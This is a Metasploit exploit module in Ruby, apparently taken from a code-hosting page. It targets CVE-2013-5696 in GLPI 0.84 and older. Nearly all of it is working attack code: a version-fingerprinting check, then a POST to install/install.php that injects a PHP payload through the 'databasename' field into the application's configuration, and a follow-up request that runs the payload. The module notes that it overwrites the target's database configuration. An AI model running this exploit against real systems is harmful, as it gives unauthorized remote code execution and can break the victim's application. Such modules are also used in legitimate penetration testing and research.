113 lines
3.3 KiB
Ruby
113 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit < Msf::Exploit::Remote
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Rank = ManualRanking # Application database configuration is overwritten
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'GLPI install.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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GLPI 'install.php' script. This module is set to ManualRanking due to this
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module overwriting the target database configuration, which may introduce target
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instability.
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},
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'Author' =>
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[
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'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2013-5696' ],
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[ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ],
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[ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ],
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],
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'Privileged' => false,
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'Platform' => ['php'],
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'Payload' =>
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{
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'Space' => 4000,
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'BadChars' => "#",
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'DisableNops' => true,
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'Keys' => ['php']
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},
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'Arch' => ARCH_PHP,
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'Targets' => [[ 'GLPI 0.84 or older', { }]],
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'DisclosureDate' => 'Sep 12 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/'])
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], self.class)
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end
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def uri
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return target_uri.path
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end
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def check
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# Check if the GLPI instance is vulnerable
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'index.php'),
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})
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if not res or res.code != 200
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return Exploit::CheckCode::Safe
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end
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re = '(version)(\\s+)(.*)(\\s+)(Copyright)'
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m = Regexp.new(re, Regexp::IGNORECASE)
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matched = m.match(res.body)
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if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/
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vprint_good("Detected Version : #{matched[3]}")
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return Exploit::CheckCode::Appears
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elsif matched
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vprint_error("Version #{matched[3]} is not vulnerable")
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Injecting the payload...")
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rand_arg = Rex::Text.rand_text_hex(10)
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'install/install.php'),
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'vars_post' =>
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{
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'install' => 'update_1',
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'db_host' => 'localhost',
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'db_user' => 'root',
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'db_pass' => 'root',
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'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*"
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}
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})
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unless res and res.code == 200 and res.body =~ /You will update the GLPI database/
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print_warning("Unexpected response while injecting the payload, trying to execute anyway...")
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end
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print_status("Executing the payload...")
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send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, 'index.php'),
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'vars_get' =>
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{
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rand_arg => '1',
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}
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})
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end
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end
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